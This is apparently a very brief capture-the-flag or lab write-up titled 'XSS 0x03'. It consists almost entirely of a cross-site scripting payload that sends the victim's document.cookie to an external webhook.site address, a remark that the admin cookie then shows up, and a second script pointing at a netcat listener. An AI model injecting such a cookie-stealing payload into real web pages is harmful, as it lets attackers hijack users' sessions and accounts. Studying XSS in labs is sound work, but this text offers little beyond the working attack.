XSS 0x03

First we will send the cookie in our webhook

<script>var i = new Image; i.src="https://webhook.site/b5ffbf17-8bfe-4b0f-8361-2d5d4ed67a83/?"+ document.cookie;</script>

Now we see the admin cookie

or we could use netcat

<script>var i = new Image; i.src="http://localhost:1234"</script>